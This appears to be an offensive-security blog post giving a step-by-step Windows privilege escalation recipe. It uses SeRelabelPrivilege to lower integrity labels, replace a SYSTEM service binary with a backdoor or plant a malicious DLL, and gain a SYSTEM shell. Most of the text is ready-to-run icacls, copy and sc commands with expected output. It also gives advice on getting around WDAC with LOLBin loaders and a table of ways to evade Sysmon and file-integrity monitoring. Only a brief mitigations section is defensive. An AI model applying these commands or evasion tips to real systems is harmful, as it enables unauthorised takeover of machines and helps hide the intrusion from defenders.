windows

SeRelabelPrivilege: Bypass MIC and Write to File SYSTEM

SeRelabelPrivilege: Bypass MIC and Write to File SYSTEM

Learn how to use SeRelabelPrivilege to lower the integrity level of files and directories, bypass Mandatory Integrity Control, and gain a SYSTEM shell.

  • Posted on 2026-06-24
  • Reading time: 4 min

ACLs allow writing, but the MIC layer blocks your Medium process. You have SeRelabelPrivilege. A command lowers the file label from High to Medium, your process writes freely, and you replace the SYSTEM service binary. Two steps to... nt authority\system.


Quick Exploit #

cmd
icacls "C:\Program Files\VendorApp\service.exe" | findstr Mandatory
icacls "C:\Program Files\VendorApp\service.exe" /setintegritylevel Medium
copy C:\temp\backdoor.exe "C:\Program Files\VendorApp\service.exe" /Y
sc stop NomeServizio && sc start NomeServizio

Expected output:

text
nt authority\system

Attack Chain #

text
ACL permissiva ma MIC blocca scrittura (file a integrità High, processo Medium)
  → icacls [file] | findstr Mandatory → conferma livello High
  → icacls [file] /setintegritylevel Medium → abbassa il label
  → copy backdoor.exe → [file] → sc restart → SYSTEM
  OPPURE
  → icacls [directory] /setintegritylevel Medium
  → piazza DLL mancante → sc restart → SYSTEM

Tool Decision #

TargetCommand
Lower file labelicacls [file] /setintegritylevel Medium
Lower directory labelicacls [dir] /setintegritylevel Medium
Lower registry key labelSetACL.exe -on [hive\key] -ot reg -actn setintegrity -integrity "Medium"
Process level verificationwhoami /groups | findstr Mandatory
Lower process level (test)NtObjectManager: Set-NtTokenIntegrityLevel -IntegrityLevel Low

What is SeRelabelPrivilege and Mandatory Integrity Control? #

Windows Mandatory Integrity Control (MIC) assigns integrity levels to every object and process:

SubscriptionValueTypical context
low0 x 1000Browser sandbox
Medium0 x 2000Standard user process
High0 x 3000High Process (UAC)
System0 x 4000SYSTEM

The “No Write Up” rule: A process cannot write to objects with a higher integrity level than its own. SeRelabelPrivilege lowers the object's label—removes this protection.

This is a barrier orthogonal to ACLs: a file can be protected by both ACLs and MICs — they are two independent mechanisms that require separate bypasses.


When it exists #

  • Administrators (high token)
  • Account with custom policy which includes “Modify an object label”
  • Relatively rare as a standalone privilege on service accounts

Verify:

cmd
whoami /priv

Looking for:

text
SeRelabelPrivilege    Modify an object label    Enabled

If you see Disabled → Non-elevated token. Start elevated process.


Step 1 — Verify the integrity level of the target file #

Check the current level of the binary you want to overwrite:

cmd
icacls "C:\Program Files\VendorApp\service.exe" | findstr Mandatory

Output:

text
Mandatory Label\High Mandatory Level

This means that your Medium process cannot write to it — MIC blocks it, regardless of ACLs.

Check your current health level:

cmd
whoami /groups | findstr "Mandatory"

Typical output in non-elevated tokens:

text
Mandatory Label\Medium Mandatory Level    Label    S-1-16-8192

Step 2 — Lower the file integrity level #

cmd
icacls "C:\Program Files\VendorApp\service.exe" /setintegritylevel Medium

Output:

text
processed file: C:\Program Files\VendorApp\service.exe
Successfully processed 1 files; Failed processing 0 files

Verify that the label has changed:

cmd
icacls "C:\Program Files\VendorApp\service.exe" | findstr Mandatory

Output:

text
Mandatory Label\Medium Mandatory Level

Step 3 — Overwrite and get SYSTEM #

Now your Medium process can write to the file:

cmd
copy C:\temp\backdoor.exe "C:\Program Files\VendorApp\service.exe" /Y

Restart the service:

cmd
sc stop NomeServizio
cmd
sc start NomeServizio

Output:

text
nt authority\system

variants #

DLL Hijacking with label lowering #

If you want to place a missing DLL in a directory with High integrity:

First lower the directory label:

cmd
icacls "C:\Program Files\VendorApp\" /setintegritylevel Medium

Then copy the DLL:

cmd
copy C:\temp\malicious.dll "C:\Program Files\VendorApp\missing.dll"

Restart the service:

cmd
sc stop NomeServizio && sc start NomeServizio

Lower the integrity level of a process #

With NtObjectManager (James Forshaw) you can lower the token integrity level of a running process — useful for testing sandboxing and isolation:

powershell
Install-Module NtObjectManager
Import-Module NtObjectManager
$token = Get-NtToken
Set-NtTokenIntegrityLevel -Token $token -IntegrityLevel Low

Source: googleprojectzero/sandbox-attacksurface-analysis-tools

Lower registry key label #

It also works on registry keys, not just files:

cmd
icacls "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" /setintegritylevel Medium

Note: icacls It does not manage the registry directly — it uses SetACL for registry keys:

cmd
SetACL.exe -on "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" -ot reg -actn setintegrity -integrity "Medium"

Real-world scenarios #

SYSTEM service with high-integrity binary, non-restrictive ACLs — ACLs would allow writing, but MIC blocks. SeRelabelPrivilege lowers the label → writing possible → replaced binary → SYSTEM.

DLL in directory with High integrity — Process Monitor shows that a service is looking for a DLL in a path with a High integrity label. Using SeRelabelPrivilege, I lower the directory label → place the DLL → SYSTEM.


Common mistakes #

icacls /setintegritylevel returns Access Denied — Privilege not enabled in token. Verify: whoami /priv | findstr SeRelabelIf Disabled, launch elevated process.

File overwrites but service doesn't start — WDAC blocks execution of the unsigned binary. Use a LOLBin loader or a signed binary as a wrapper.

System32 file is restored after writing — WRP protects the file. Uses services directory in C:\Program Files\ Instead.

Service does not start after restart — Check if the service has permissions to execute the binary from the path: sc sdshow NomeServizioIf the service account does not have execute permission on the binary, add it with icacls.

DLL not loading after placement — The service uses an absolute path in the LoadLibrary call. Use Process Monitor to verify that it actually searches for the DLL in that path (filter NAME NOT FOUND + .dll).


Detection and bypass (Red Team view) #

What the Blue Team detectsHow the Red Team bypasses it
icacls /setintegritylevel from non-standard contextsUsa NtObjectManager PowerShell instead — same result, different pattern
Sysmon 11 — FileCreate on Directory Services from Medium ProcessLower the label first, then write — FileCreate is still present but as a medium process, less suspicious
FIM on service tracksHard to avoid — uses DLL hijacking on secondary files that are less monitored than the main binary

When it fails #

  • You cannot raise labels above your token level — only lower them.
  • WRP on System32 core files → use C:\Program Files\
  • WDAC / AppLocker → blocks the replacement binary
  • Service not restartable → sc sdshow NomeServizio

Mitigations #

  • WDAC — blocks execution of unsigned binaries even if the label has been lowered
  • FIM on critical service tracks
  • Restrict SeRelabelPrivilege to strictly necessary accounts

Realistic note: SeRelabelPrivilege is the bypass for scenarios where MIC is the only remaining barrier—when ACLs already allow writing but the Medium process cannot write to High objects. Less common than other vectors, but essential to know for hardened environments.


FAQ #

What's the difference with SeRestorePrivilege? SeRestorePrivilege bypasses ACLs for writes directly. SeRelabelPrivilege lowers the MIC layer. Orthogonal barriers — a file can block writing via both ACLs and MICs, requiring separate bypasses.

Can I raise the label to System? No—you cannot raise your token above its level. Token Medium → maximum Medium. Token High → maximum High.

When is it more useful than SeRestorePrivilege? When the ACLs already allow writing but the MIC blocks it—a less common situation but one that occurs in partially hardened environments.


SeRelabelPrivilege is the MIC layer-specific bypass — essential when ACLs are permissive but the integrity level is the only remaining barrier.


Related articles:

References: NtObjectManager · Microsoft Docs MIC · Microsoft Docs

#serelabelprivilege #mandatory-integrity-control

leave a message

I'm not a robot